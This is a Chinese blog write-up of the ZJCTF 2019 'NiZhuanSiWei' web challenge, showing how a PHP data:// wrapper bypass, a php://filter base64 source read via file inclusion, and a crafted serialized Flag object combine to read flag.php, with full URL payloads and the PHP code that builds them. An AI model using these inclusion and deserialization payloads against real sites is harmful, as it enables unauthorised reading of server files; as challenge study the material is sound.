[ZJCTF 2019]NiZhuanSiWei 题解


最近从pwn方向临时转web方向了,好长时间没更博客,差点忘了还有这个网站了。发现做完题还是得写点东西整理下,不然太容易忘了。


拿到链接,先dirsearch扫一下

发现flag.php可以访问,看下源码

提示时机不对,其他的也没什么有价值的东西了,返回去看index.php

显示的是php源码

先看第一个if:

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

为了通过这个if,我们需要GET方式传参给text,值为"welcome to the zjctf",注意到file_get_contents这个函数,而且text的类型需要是文件。
然而这个页面除了源码,并没有任何其他东西。网上查找资料后,发现file_get_contents()函数可以解析数据URI,那么我们可以利用php中的data伪协议,直接通过GET方式将数据写入URL中。

payload:
?text=data://text/plain,welcome to the zjctf

成功绕过第一个if,接下来看第二个if部分

if(preg_match("/flag/",$file)){
    echo "Not now!";
    exit(); 
}else{
    include($file);  //useless.php
    ......

明显是文件包含漏洞,而且直接包含flag.php会无法通过第二个if,include那里有注释useless.php,尝试直接打开和在index.php中包含,发现都是空白,猜想网页内容有可能被过滤了。于是我们尝试利用filter伪协议将网页base64编码

payload:
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

成功绕过第二个if,解码下得到的base64编码,得到一段php源码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?> 

注意到有__tostring()这个魔术方法,结合index中显示的源码

$password = unserialize($password);
echo $password

发现存在反序列化漏洞,我们可以构造一个Flag的实例,其$file值为flag.php,从而触发echo file_get_contents($this->file)来打开flag.php。
构造如下php代码:

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}
$sc=new Flag();
echo serialize($sc);
?>  

得到序列化后的$sc

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} 

通过GET传参给$password

payload:
?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

---[End]---

声明:大K|版权所有,违者必究|如未注明,均为原创|本网站采用BY-NC-SA协议进行授权

转载:转载请注明原文链接 - [ZJCTF 2019]NiZhuanSiWei 题解


I'm scared this is all i will ever be...I feel trapped in my own life...I think i've figured it out but in reality i'm as lost as ever...I wish i could choose the memories that stay...please,stay.